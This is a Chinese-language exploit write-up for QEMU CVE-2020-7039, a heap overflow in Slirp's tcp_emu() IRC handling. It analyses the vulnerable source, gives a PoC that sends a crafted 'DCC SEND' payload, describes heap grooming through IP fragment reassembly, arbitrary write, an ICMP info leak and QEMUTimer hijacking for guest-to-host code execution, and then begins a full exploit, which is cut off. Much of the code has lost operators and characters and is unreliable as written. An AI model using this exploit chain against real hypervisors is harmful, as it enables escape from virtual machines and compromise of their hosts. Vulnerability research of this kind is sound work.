QEMU-CVE-2020-7039
时间:2021-12-22
知识前置
Slirp模块
QEMU内部网络分为两部分:
提供给客户的虚拟网络设备(E1000 PCI网卡...). 与模拟NIC交互的网络后端(例如,将数据包放入主机的网络).
默认情况下,QEMU将为guest虚拟机创建Slirp用户网络后端和适当的虚拟网络设备(E1000 PCI网卡…) ,QEMU缺省使用"-net nic-net user"参数为客户机配置网络,提供了一种用户模式(user-mode)的网络模拟,Slirp实现了整个TCP/IP协议栈,并且使用这个协议栈提供一个虚拟的NAT网络,主要模拟了网络应用层协议,其中包括IP协议(V4和V6)、DHCP协议、ARP协议等。通过Slirp模块,用户模式的Guest主机可以连通Host主机及外部网络。
下面对Slirp模块中的一小部分代码进行分析:
相关结构体
// slirp/mbuf.h struct mbuf { struct mbuf *m_next; /* Linked list of mbufs */ struct mbuf *m_prev; struct mbuf *m_nextpkt; /* Next packet in queue/record */ struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */ int m_flags; /* Misc flags */ int m_size; /* Size of mbuf, from m_dat or m_ext */ struct socket *m_so; caddr_t m_data; /* Current location of data */ int m_len; /* Amount of data in this mbuf, from m_data */ Slirp *slirp; bool resolution_requested; uint64_t expiration_date; char *m_ext; char m_dat[]; };
m_data : 指向当前数据的地址
m_dat[]: 若传入的数据包不大,则数据存放在m_dat[]对应的数组中,首次分配mbuf结构体的时候,会将m_dat地址赋值给m_data指针
m_ext : 若传入的数据包太大,则会采用动态空间分配的方式存放数据,而申请的动态空间指针交给m_ext指针
m_len : 当前保存的数据总大小
m_size : 存放当前mbuf结构体大小
m_flags: 相关标志位,用于表示结构体相关状态,例如分配了动态空间管理数据,则会存在#define M_EXT 0x01字段
// slirp/ip.h struct qlink { void *next, *prev; }; struct ipasfrag { struct qlink ipf_link; // ip fragment double link struct ip ipf_ip; // the ip header of fragment };
此结构体,在IP分片函数ip_reass()中使用频繁,其中存在的双向链表结构串起了所有分片。
// slirp/ip.h struct ipq { struct qlink frag_link; /* to ip headers of fragments */ struct qlink ip_link; /* to other reass headers */ uint8_t ipq_ttl; /* time for reass q to live */ uint8_t ipq_p; /* protocol of this fragment */ uint16_t ipq_id; /* sequence id for reassembly */ struct in_addr ipq_src, ipq_dst; };
此结构体,在ip_reass()中,用于管理所有的分片相同的属性的主结构,也是所有分片中双向链表的链表头。
Slirp模块中对IPV4数据包的处理
void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len) { struct mbuf *m; int proto; if (pkt_len ETH_HLEN) // 判断大小是否小于`Eth-Frame Header Len` return; proto = (((uint16_t)pkt[12]) 8) + pkt[13]; // 获取`Eth-Frame`中 Type,作为switch的分支条件 switch (proto) { case ETH_P_ARP: arp_input(slirp, pkt, pkt_len); // 若为ARP协议,则调用 arp_input 函数,进行处理 break; case ETH_P_IP: case ETH_P_IPV6: m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置 if (!m) return; /* Note: we add 2 to align the IP header on 4 bytes, * and add the margin for the tcpiphdr overhead */ if (M_FREEROOM(m) pkt_len + TCPIPHDR_DELTA + 2) { m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间 } m->m_len = pkt_len + TCPIPHDR_DELTA + 2; memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len); // 拷贝传入的数据包到m_data指针处 m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN; // 当前m_data指向数据包 Header,不是Eth-Frame Header m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN; if (proto == ETH_P_IP) { // IPV4 ip_input(m); } else if (proto == ETH_P_IPV6) { // IPV6 ip6_input(m); } break; case ETH_P_NCSI: ncsi_input(slirp, pkt, pkt_len); break; default: break; } }
假如此时去访问外界网络,比如执行apt-get update,则会向网卡发送数据,当通过网卡将数据封装为以太网帧后,则会在Slirp模块中调用slirp_input()函数对进一步处理。
void ip_input(struct mbuf *m) { Slirp *slirp = m->slirp; register struct ip *ip; int hlen; if (!slirp->in_enabled) { goto bad; } if (m->m_len sizeof(struct ip)) { goto bad; } ip = mtod(m, struct ip *); // 返回m_data,前面有提到,m_data指向了数据包的Header if (ip->ip_v != IPVERSION) { goto bad; } hlen = ip->ip_hl 2; // 左移两位则是IP Header实际大小 if (hlen sizeof(struct ip) || hlen > m->m_len) { // 检测Header len 是否合法 goto bad; /* or packet too short */ } if (cksum(m, hlen)) { // 第二次检测 checksum计算结果是否合法 goto bad; } NTOHS(ip->ip_len); // 将ip_total_len从网络字节序列转换成主机字节序列 if (ip->ip_len hlen) { // 检测当前数据包的total len是否合法 goto bad; } NTOHS(ip->ip_id); NTOHS(ip->ip_off); if (m->m_len ip->ip_len) { // // 再次检测ip_total_len 和当前数据包对应的mbuf结构体之间是否合法 goto bad; } if (m->m_len > ip->ip_len) // 如果m->m_len稍大,则调用m_adj函数对其进行修剪 m_adj(m, ip->ip_len - m->m_len); /* check ip_ttl for a correct ICMP reply */ if (ip->ip_ttl == 0) { icmp_send_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0, "ttl"); goto bad; } // ip Header中 ip->ip_off最高三位对应FLAGS // FLAGS: 长度为 3Bit // 字段中第一位不使用 // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片 // 第三位是MF(More Fragments),MF = 0 指最后一个分片 if (ip->ip_off struct qlink *l; // double link // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头 for (l = slirp->ipq.ip_link.next; l != l = l->next) { fp = container_of(l, struct ipq, ip_link); if (ip->ip_id == fp->ipq_id } fp = NULL; // if the fragment is first , so set fp == NULL found: ip->ip_len -= hlen; // 减去header len,剩下payload长度 if (ip->ip_off else ip->ip_tos ip->ip_off = 3; // 获取当前分片的偏移 if (ip->ip_tos if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到 return; m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针, // 此处获取当前ip指针对应的mbuf结构体 } else if (fp) ip_freef(slirp, fp); } else ip->ip_len -= hlen; // 以 protocol作为switch的分支条件 switch (ip->ip_p) { case IPPROTO_TCP: tcp_input(m, hlen, (struct socket *)NULL, AF_INET); break; case IPPROTO_UDP: udp_input(m, hlen); break; case IPPROTO_ICMP: icmp_input(m, hlen); break; default: m_free(m); } return; bad: m_free(m); }
在slirp_input()函数中,对数据包简单处理,生成了对应的mbuf结构体,又在ip_input()函数中进一步处理,根据相关字段,判断是否分片,而分片函数(ip_reass)则是如下:
static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp) { register struct mbuf *m = dtom(slirp, ip); register struct ipasfrag *q; int hlen = ip->ip_hl 2; int i, next; m->m_data += hlen; // m_data 也指向当前payload区域 m->m_len -= hlen; if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片 struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670 if (t == NULL) { goto dropfrag; } fp = mtod(t, struct ipq *); insque( // 将当前生成的fp指针加入到slirp主结构管理的双向链表,此处用于在ip_input函数中对分片链表头查找有用 fp->ipq_ttl = IPFRAGTTL; fp->ipq_p = ip->ip_p; fp->ipq_id = ip->ip_id; fp->frag_link.next = fp->frag_link.prev = // 对当前链表头初始化指针,其余则是保存ip header相关数据 fp->ipq_src = ip->ip_src; fp->ipq_dst = ip->ip_dst; q = (struct ipasfrag *)fp; goto insert; } // 如果传入是第二个往后的分片,则此处遍历fp->frag_link双向链表,寻找与传入的分片相近的分片的结构体指针 for (q = fp->frag_link.next; q != (struct ipasfrag *) q = q->ipf_next) if (q->ipf_off > ip->ip_off) break; // 如果上述寻找到的结构体不是最后一个分片,则会对当前传人的分片进行修剪 if (q->ipf_prev != // 上述寻找到的分片的前一个分片 i = pq->ipf_off + pq->ipf_len - ip->ip_off; // 如果前一个分片 "偏移 + payload_len" > 当前传入的分片的偏移,则当前传入的分片需要向后移动 if (i > 0) { if (i >= ip->ip_len) goto dropfrag; m_adj(dtom(slirp, ip), i); ip->ip_off += i; ip->ip_len -= i; } } // 此处是对当上述找到的结构体指针q之后的所有分片进行修剪,为传入的分片中的数据腾出空间 while (q != (struct ipasfrag *) // 如果当前传入的分片 "偏移 + payload_len" > 后面一个分片 偏移,则后续的所有分片后移 if (i q->ipf_len) { q->ipf_len -= i; q->ipf_off += i; m_adj(dtom(slirp, q), i); break; } q = q->ipf_next; m_free(dtom(slirp, q->ipf_prev)); ip_deq(q->ipf_prev); } // 最后,所有的分片的数据不会重叠存放 insert: // 将当前传入的分片关联进双向链表 ip_enq(iptofrag(ip), q->ipf_prev); next = 0; // 检测前面的所有分片的payload_len 相加 是否 等于后一个分片的偏移,这里检测了所有的分片偏移不会重叠,长度也不会越界 for (q = fp->frag_link.next; q != (struct ipasfrag *) q = q->ipf_next) { if (q->ipf_off != next) return NULL; next += q->ipf_len; } // 如果当前 存在 MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等 if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos // 若没有直接返回,即MF 字段为0,表示当前传入的分片是最后一个分片,下面则是将所有的分片拷贝到第一个分片对应的缓冲区中 q = fp->frag_link.next; m = dtom(slirp, q); q = (struct ipasfrag *)q->ipf_next; while (q != (struct ipasfrag *) q = (struct ipasfrag *)q->ipf_next; m_cat(m, t); // 剪切后面的分片到第一个分片对应的缓冲区中 } q = fp->frag_link.next; // 此处 fp->frag_link.next 为第一个分片对应的 "struct ipasfrag"结构体指针 // 如果在m_cat过程中,拷贝的总数据大小超过第一个分片的mbuf结构能存放的极限,则会动态分配新的空间,并更新第一个分片的mbuf.m_ext指针 // 当时 上述的 结构体指针q 还未更新指向新的缓冲区,所以检测到 M_EXT 字段,则重新获取一个指针q,令其指向新申请的缓冲区中 if (m->m_flags q = (struct ipasfrag *)(m->m_ext + delta); } ip = fragtoip(q); // "struct ipasfrag",此结构体,前0x10是双向链表指针,后面则是保存的分片的ip_header,返回值为 "q+0x10" ip->ip_len = next; // next是总数据长度,更新ip_total_len ip->ip_tos ip->ip_src = fp->ipq_src; ip->ip_dst = fp->ipq_dst; remque( (void)m_free(dtom(slirp, fp)); m->m_len += (ip->ip_hl 2); m->m_data -= (ip->ip_hl 2); return ip; dropfrag: m_free(m); return NULL; }
上述则是对IP包分片的过程,对传入的分片进行修剪,然后关联进对应的双向链表中进行管理,因为篇幅有限,只选择了Slirp对IPV4数据包的部分处理进行了简单的分析。
对此,Slirp会处理经过网卡处理后的数据,模拟数据包协议类型,进行管理与传输,然后再通过网卡发送给Host主机,通过Host主机访问目标。
漏洞分析与利用
漏洞简介
Description A heap buffer overflow issue was found in the SLiRP networking implementation of the QEMU emulator. This flaw occurs in the tcp_emu() routine while emulating IRC and other protocols. An attacker could use this flaw to crash the QEMU process on the host, resulting in a denial of service or potential execution of arbitrary code with privileges of the QEMU process.
根据RedHat上对CVE的描述可知,当QEMU以 Slirp模块作为网络后端的时候,漏洞位于其中tcp_emu()函数模拟IRC协议的分支,下面我们直接定位到目标代码。
int tcp_emu(struct socket *so, struct mbuf *m) { Slirp *slirp = so->slirp; unsigned n1, n2, n3, n4, n5, n6; char buff[257]; uint32_t laddr; unsigned lport; char *bptr; switch (so->so_emu) { int x, i; case EMU_IRC: m_inc(m, m->m_len + 1); // 若 m->m_len + 1 不小于 M_ROOM(m),则会为输入的数据另外申请一段内存存放,并更新 mbuf结构体中的指针 *(m->m_data + m->m_len) = 0; // 末尾置0 if ((bptr = (char *)strstr(m->m_data, "DCC")) == NULL) // 从输入的数据中寻找DCC字符串作为起始指针 return 1; // buff初始化是一个257字节大小的char数组 // 通过上述寻找的指针后的字符串作为输入,对buff laddr lport 或者 n1 赋值 if (sscanf(bptr, "DCC CHAT %256s %u %u", buff, } m->m_len = bptr - m->m_data; // 当tcp_listen函数返回通过时,下面则是对原缓冲区中的数据进行更新,另外的两个分支都是类似的 m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n", (unsigned long)ntohl(so->so_faddr.s_addr), ntohs(so->so_fport), 1); } else if (sscanf(bptr, "DCC SEND %256s %u %u %u", buff, } m->m_len = bptr - m->m_data; /* Adjust length */ m->m_len += snprintf(bptr, m->m_size, "DCC SEND %s %lu %u %u%c\n", buff, (unsigned long)ntohl(so->so_faddr.s_addr), ntohs(so->so_fport), n1, 1); } else if (sscanf(bptr, "DCC MOVE %256s %u %u %u", buff, } m->m_len = bptr - m->m_data; /* Adjust length */ m->m_len += snprintf(bptr, m->m_size, "DCC MOVE %s %lu %u %u%c\n", buff, (unsigned long)ntohl(so->so_faddr.s_addr), ntohs(so->so_fport), n1, 1); } return 1; ......
漏洞点则是出在更新m->m_len的时候,此时会通过snprintf向原缓冲区中更新数据,而snprintf原型如下,第二个参数size是作为写入的数据最大字节,而漏洞位置的第二个参数则是m->m_size,此处没有对写回的数据长度进行检验,而是直接用了mbuf结构体中m->m_size作为长度限制,而在经过tcp_listen函数后,so->so_faddr.s_addr和so->so_fport都会被设置为不同于输入的整型数值,此处又通过snprintf写入到bptr指针中,若写入的数据超过bptr指针可写的长度,则会发生缓冲区溢出。
m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n", (unsigned long)ntohl(so->so_faddr.s_addr), ntohs(so->so_fport), 1); int snprintf(char * restrict str, size_t size, const char * restrict format, ...);
下面再看看tcp_listen函数
struct socket *tcp_listen(Slirp *slirp, uint32_t haddr, unsigned hport, uint32_t laddr, unsigned lport, int flags) { /* TODO: IPv6 */ struct sockaddr_in addr; struct socket *so; int s, opt = 1; socklen_t addrlen = sizeof(addr); memset( so = socreate(slirp); // 建立一个sokcet 结构体 so /* Don't tcp_attach... we don't need so_snd nor so_rcv */ if ((so->so_tcpcb = tcp_newtcpcb(so)) == NULL) { // 初始化 so->so_tcpcb g_free(so); return NULL; } insque(so, // 将当前的so指针关联进 slirp结构体中的tcb链中 /* * SS_FACCEPTONCE sockets must time out. */ if (flags // 对建立的socket结构体赋值相关数据 so->so_state so->so_state |= (SS_FACCEPTCONN | flags); so->so_lfamily = AF_INET; so->so_lport = lport; /* Kept in network format */ so->so_laddr.s_addr = laddr; /* Ditto */ // 绑定监听 haddr 和 hport addr.sin_family = AF_INET; addr.sin_addr.s_addr = haddr; addr.sin_port = hport; if (((s = slirp_socket(AF_INET, SOCK_STREAM, 0)) 0) || (slirp_socket_set_fast_reuse(s) 0) || (bind(s, (struct sockaddr *) 0) || (listen(s, 1) 0)) { int tmperrno = errno; /* Don't clobber the real reason we failed */ if (s >= 0) { closesocket(s); } sofree(so); /* Restore the real errno */ #ifdef _WIN32 WSASetLastError(tmperrno); #else errno = tmperrno; #endif return NULL; } // 对套接字 s 在SOL_SOCKET级上 设置 SO_OOBINLINE 选项以及在IPPROTO_TCP 级上设置 TCP_NODELAY 选项 setsockopt(s, SOL_SOCKET, SO_OOBINLINE, opt = 1; setsockopt(s, IPPROTO_TCP, TCP_NODELAY, // 从套接字 s 获取 (struct sockaddr *) so->so_ffamily = AF_INET; so->so_fport = addr.sin_port; if (addr.sin_addr.s_addr == 0 || addr.sin_addr.s_addr == loopback_addr.s_addr) so->so_faddr = slirp->vhost_addr; else so->so_faddr = addr.sin_addr; so->s = s; return so; }
经过调试可知,在调用getsocketname()函数的时候,会对addr.sin_port进行赋值,因为传入的hport值为0,所以之前执行bind函数的时候,套接字s的端口是随机生成的一个两字节的值,且此时的addr.sin_addr.s_addr为0,所以在判断addr.sin_addr.s_addr == 0条件的时候,则会进入第一个分支,则上述snprintf函数写回的so->so_faddr.s_addr和so->so_fport两个变量 分别来自so->so_fport = addr.sin_port和so->so_faddr = slirp->vhost_addr ,addr.sin_port是一个两字节的值,经过ntohs转化,在snprintf输出的为十进制字符串的时候,大概率占据5个字节的数据,另外 slirp->vhost_addr始终为0x202000A,若输入的十进制值长度小于写回的十进制值长度,则会导致写回的数据比写入时候的数据更多,因此导致溢出。
POC
#include stdio.h> #include stdlib.h> #include stdbool.h> #include unistd.h> #include assert.h> #include string.h> #include sys/socket.h> #include stdint.h> #include netinet/in.h> #include arpa/inet.h> void errExit(char *string) { perror(string); exit(EXIT_FAILURE); } int connect_with(char *ip,uint16_t port) { int fd = socket(AF_INET,SOCK_STREAM, 0); if(fd 0){ errExit("Socket"); } struct sockaddr_in tcp_socket; tcp_socket.sin_family = AF_INET; tcp_socket.sin_port = htons(port); tcp_socket.sin_addr.s_addr = inet_addr(ip); if (connect(fd, (struct sockaddr *) return fd; } int main() { char *payload = calloc(1,0x1000); memset(payload,'F',0x1000); int fd = connect_with("10.0.2.2",6667); char s[0x30] = "DCC SEND TEST -1 -1 2333\0"; memcpy(payload + 0x5B2 - strlen(s) ,s,strlen(s)); // 如果发送的数据 > 0x5B2,则会另外申请空间,在mbuf结构体中的m_ext指针指向申请的空间 write(fd,payload,0x5B2); }
通过gdb attach调试qemu进程,下断点在 slirp/src/tcp_subr.c:765,对当前 mbuf结构体的next chunk header 观察,可以发现在snprintf函数调用后,next chunk header被覆盖了,但是溢出的数据因为是%u和%lu格式化字符串,所以溢出的数据并不能控制为不可见字符串,而再观察snprintf函数的末尾,可以发现snprintf写回的字符串末尾存在一个"\x01\x0A",做过CTF Heap题的师傅们应该很容易就能想到覆盖unsorted bin chunk的size为0xA01令堆重叠,因此可以实现缓冲区溢出。
漏洞利用
IP Header
上述图为IP Header结构体,其中有Flags是描述当前IP包相关属性的标志字段;字段第一位不使用,字段第二位是DF(Don't Fragment)指明当前IP包是否可以分片,若当前DF字段为1,则当前数据包不可分片;字段第三位字是MF(More Fragments)指明当前是否为分片序列最后一个分片 ,为0则是最后一个分片,当最后一个分片发送出去,则Slirp模块则会对整个IP Packet的分片序列进行重组。
Malloc原语
void ip_input(struct mbuf *m) { ...... // ip Header中 ip->ip_off最高三位对应FLAGS // FLAGS: 长度为 3Bit // 字段中第一位不使用 // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片 // 第三位是MF(More Fragments),MF = 0 指最后一个分片 if (ip->ip_off struct qlink *l; // double link // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头 for (l = slirp->ipq.ip_link.next; l != l = l->next) { fp = container_of(l, struct ipq, ip_link); if (ip->ip_id == fp->ipq_id } fp = NULL; // if the fragment is first , so set fp == NULL found: ip->ip_len -= hlen; // 减去header len,剩下payload长度 if (ip->ip_off else ip->ip_tos ip->ip_off = 3; // 获取当前分片的偏移 if (ip->ip_tos if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到 return; m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针, // 此处获取当前ip指针对应的mbuf结构体 } else if (fp) ip_freef(slirp, fp); } else ip->ip_len -= hlen; ...... } static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp) { ...... // 如果当前 存在 MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等 if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos ...... }
此处,若发送的IPV4数据包能够分片,即DF字段为0,且MF为1,则表示当前的IP包是可以进行分片的,分片函数则是ip_reass()。
ip = ip_reass(slirp, ip, fp); if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到 return;
若ip_reass函数返回值为NULL,则直接返回,表示分片未结束,而直接返回的结果则是相关申请的动态空间不会释放,当前分片数据包进入ip_input()函数之前,在slirp_input()会为其分配一个struct mbuf结构体,此结构体是没有被释放的,大小为0x670大小的chunk,且若此时为第一个分片。
if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片 struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670
当进入分片函数ip_reass()时,fp == NULL条件下,又会为其分配一个struct mbuf结构体用于管理分片的相关数据,同样为0x670大小的chunk,此结构体也是没有被释放的,所以这里能够当作是一个malloc原语使用,但是这些申请的大小又都是固定的,想要准确的控制堆布局,还需要可以控制动态空间申请的大小。
void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len) { ...... case ETH_P_IP: case ETH_P_IPV6: m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置 if (!m) return; /* Note: we add 2 to align the IP header on 4 bytes, * and add the margin for the tcpiphdr overhead */ if (M_FREEROOM(m) pkt_len + TCPIPHDR_DELTA + 2) { m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间 }
又来到slirp_input()函数处,此时可以明确的知道,若处理的数据包数据大于M_FREEROOM(m) - TCPIPHDR_DELTA + 2,则会调用m_inc进行动态空间的分配,而此时的申请的动态空间可由我们的数据包的大小来控制,如果处于分片未结束状态,那么这段内存同样是不会被释放的,可以用它来进一步控制堆布局。
构造任意写
+------------+ | | | 1st packet | | | +------------+ | | | 2nd packet | | | +------------+ | | | target | | | +------------+ | padding | // 防止与 top chunk合并,虽然此处target 并没有被释放 +------------+
通过堆喷清空了各种零零散散的堆块后,下面进行布局,首先在target之前需要构造一个unsorted bin chunk,为了后续对所有的包进行管理,所以上述发送的所有包,都是处于第一个分片状态的,而当每一个包发送的时候,除了会申请空间作为mbuf结构体外,在ip_reass中同样会申请一个0x670大小的chunk储存分片相关数据,所以 1st packet 和 2nd packet都占据 0x670 * 2大小的空间,此处发送 一个 MF = 0的分片完成2nd packet的IP包重组,那么则会释放2nd packet堆块得到一个0xCE0大小的堆块。
+------------+ | | | 1st packet | | | +------------+ | socket mbuf| +------------+ | ub chunk | - unsorted bin chunk,socket mbuf切割后剩下0x670大小的空闲空间 +------------+ | | | target | | | +------------+ | padding | // 防止与 top chunk合并,虽然此处target 并没有被释放 +------------+
此时建立一个套接字,然后写入构造的payload到该套接字描述符中,则会先分配一个mbuf结构体用于管理此时的数据,则会切割0xCE0的unsorted bin chunk,并剩下一个0x670 大小 chunk 继续留在unsorted bin 中,通过漏洞点的snprintf即可修改此时的unsorted bin chunk header;但是仅仅修改是会触发ptmalloc的check机制的,而0xA00 0xCE0,所以修改size后的unsorted bin chunk的next chunk是位于target 的 m_dat数组中,那么可以在最开始申请target mbuf结构体的时候,在发送的数据中构造一个fake chunk header即可。
+------------+ | | | 1st packet | | | +------------+ - start | ub chunk | - unsorted bin chunk,0xA00 + 0x670 大小 +------------+ | | | target | - ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体 | | +------------+ | padding | // 防止与 top chunk合并,虽然此处target 并没有被释放 +------------+
当写入一次数据后,当前的socket mbuf结构体会被释放,与0xA00的unsorted bin chunk合并,此时unsorted bin chunk中会覆盖到target 的mbuf 结构体,而其中的m_data指针是我们想要控制的,但是直接申请0xA00大小的空间来进行修改,不能精确控制只修改m_data指针,所以此处我们再将1st packet所在的包释放,则此时unsorted bin chunk大小为0xA00 + 0x670 + 0x670*2。
+------------+ - start | | | ub chunk | - unsorted bin chunk,0xA00 + 0x670 + 0x670 * 2大小 | | +------------+ | | | target | - ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体 | | +------------+ | padding | // 防止与 top chunk合并,虽然此处target 并没有被释放 +------------+
此时发送一个MF = 1、DF = 0的分片,写入数据包payload大小(0xA00 - 0x50),一共会切割unsorted bin chunk为四个部分,第一个部分0x670大小的chunk用于mbuf结构体,第二个0xA00大小的chunk用于数据包,第三个0x670大小的chunk用于ip_reass()函数中保存分片数据,最后剩下一个0x670大小的chunk,剩下的这个chunk则是覆盖了target mbuf的chunk,此时我们再发送一次另外的数据包用于劫持target mbuf结构体,而当前分片会申请unsorted bin chunk剩余的0x670大小的chunk作为管理分片的mbuf结构体,此时发送的数据会存放在m_dat数组中,因此可以对target mbuf结构体中m_data指针进行修改,之后则是继续向target 发送后续分片完成IP包重组,即可实现任意写的功能。
信息泄漏
信息泄漏的方法其实很简单,如果有复现过CVE-2019-6778 和 CVE-2019-14378的话,可以轻易实现。
根据CVE-2019-6778的泄漏思路,相关步骤如下
1、首先通过缓冲区溢出步骤,将m_data指针的低三位修改为0x000B00,然后修改后的地址中写入一个伪造的ICMP Header
2、设置target的数据包协议类型为ICMP,MF = 1、DF = 0并发送第一个分片,且发送数据长度足够,让它对应的mbuf结构体中m_len较大,此时IP包未完成重组
3、此时通过缓冲区修改上述target的m_data指针指向伪造的ICMP包的结束位置
4、完成target的IP重组,则结束ICMP请求,在发送最后一个分片之前建立一个套接字用于接收响应应答包
5、处理响应应答包中的数据,并获取程序基址和堆地址
程序流劫持
在QEMU程序中,存在一个数组main_loop_tlg,其是用于保存的struct QEMUTimerList结构体指针的数组。
// util/qemu-timer.c struct QEMUTimerList { QEMUClock *clock; QemuMutex active_timers_lock; QEMUTimer *active_timers; QLIST_ENTRY(QEMUTimerList) list; QEMUTimerListNotifyCB *notify_cb; void *notify_opaque; /* lightweight method to mark the end of timerlist's running */ QemuEvent timers_done_ev; }; // include/qemu/timer.h typedef void QEMUTimerCB(void *opaque); struct QEMUTimer { int64_t expire_time; /* in nanoseconds */ QEMUTimerList *timer_list; QEMUTimerCB *cb; void *opaque; QEMUTimer *next; int attributes; int scale; };
其中active_timers指针是一个QEMUTimer的结构体指针,而QEMUTimer结构体中存在一个函数指针QEMUTimerCB *cb,而调用该函数指针时,传入的第一个参数是void *opaque,因此可以控制参数。
static bool timer_expired_ns(QEMUTimer *timer_head, int64_t current_time) { return timer_head = current_time); } bool timerlist_run_timers(QEMUTimerList *timer_list) { ...... while ((ts = timer_list->active_timers)) { if (!timer_expired_ns(ts, current_time)) { break; } ...... /* remove timer from the list before calling the callback */ timer_list->active_timers = ts->next; ts->next = NULL; ts->expire_time = -1; cb = ts->cb; opaque = ts->opaque; cb(opaque); progress = true; } ...... }
当expire_time为0的时候,即可触发调用,所以伪造QEMUTimer和QEMUTimerList结构体,并通过任意写令main_loop_tlg数组中的指针指向伪造的QEMUTimerList结构体,当程序流进入timerlist_run_timers时,则会判断expire_time == 0后对函数指针cb进行调用,又能控制参数。
总结
1、当前的Exp应该还没有公开Exp,虽然难度不高,但是我只在自己一个复现环境中利用成功过,不保证其他环境也能利用成功。
2、Slirp模块中我复现的几个洞都是差不多的类型,基本上都是缓冲区溢出造成的问题,剩下的信息泄漏和程序流劫持都是模版。
完整Exploit
#include stdio.h> #include stdlib.h> #include stdbool.h> #include unistd.h> // close() #include assert.h> #include string.h> // strcpy, memset(), and memcpy() #include netdb.h> // struct addrinfo #include sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t #include sys/socket.h> // needed for socket() #include netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN #include netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535) #include netinet/ip_icmp.h> // struct icmp, ICMP_ECHO #define __FAVOR_BSD // Use BSD format of tcp header #include netinet/tcp.h> // struct tcphdr #include arpa/inet.h> // inet_pton() and inet_ntop() #include sys/ioctl.h> // macro ioctl is defined #include bits/ioctls.h> // defines values for argument "request" of ioctl. #include net/if.h> // struct ifreq #include linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD #include linux/if_packet.h> // struct sockaddr_ll (see man 7 packet) #include net/ethernet.h> #include sys/time.h> // gettimeofday() #include errno.h> // errno, perror() #define ETH_HDRLEN 14 // Ethernet header length #define IP4_HDRLEN 20 // IPv4 header length #define TCP_HDRLEN 20 // TCP header length, excludes options data #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data uint16_t g_spray_ip_id; size_t heap_base,text_base; struct ip_packet_info { uint16_t ip_id; // IP序列号 uint16_t ip_off; // 片偏移 bool MF; // Flags uint8_t ip_p; // 协议包类型 uint32_t ip_src; uint32_t ip_dst; }; void errExit(char *string) { perror(string); exit(EXIT_FAILURE); } uint16_t checksum(uint16_t *addr, int len) { int count = len; register uint32_t sum = 0; uint16_t answer = 0; while (count > 1) { sum += *(addr++); count -= 2; } if (count > 0) { sum += *(uint8_t *)addr; } while (sum >> 16) { sum = (sum } answer = ~sum; return (answer); } uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) { char buf[IP_MAXPACKET]; char *ptr; int chksumlen = 0; int i; ptr = // ptr points to beginning of buffer buf // Copy Message Type to buf (8 bits) memcpy(ptr, ptr += sizeof(icmphdr.icmp_type); chksumlen += sizeof(icmphdr.icmp_type); // Copy Message Code to buf (8 bits) memcpy(ptr, ptr += sizeof(icmphdr.icmp_code); chksumlen += sizeof(icmphdr.icmp_code); // Copy ICMP checksum to buf (16 bits) // Zero, since we don't know it yet *ptr = 0; ptr++; *ptr = 0; ptr++; chksumlen += 2; // Copy Identifier to buf (16 bits) memcpy(ptr, ptr += sizeof(icmphdr.icmp_id); chksumlen += sizeof(icmphdr.icmp_id); // Copy Sequence Number to buf (16 bits) memcpy(ptr, ptr += sizeof(icmphdr.icmp_seq); chksumlen += sizeof(icmphdr.icmp_seq); // Copy payload to buf memcpy(ptr, payload, payloadlen); ptr += payloadlen; chksumlen += payloadlen; // Pad to the next 16-bit boundary for (i = 0; i payloadlen % 2; i++, ptr++) { *ptr = 0; ptr++; chksumlen++; } return checksum((uint16_t *)buf, chksumlen); } uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload, int payloadlen) { uint16_t svalue; char buf[IP_MAXPACKET], cvalue; char *ptr; int i, chksumlen = 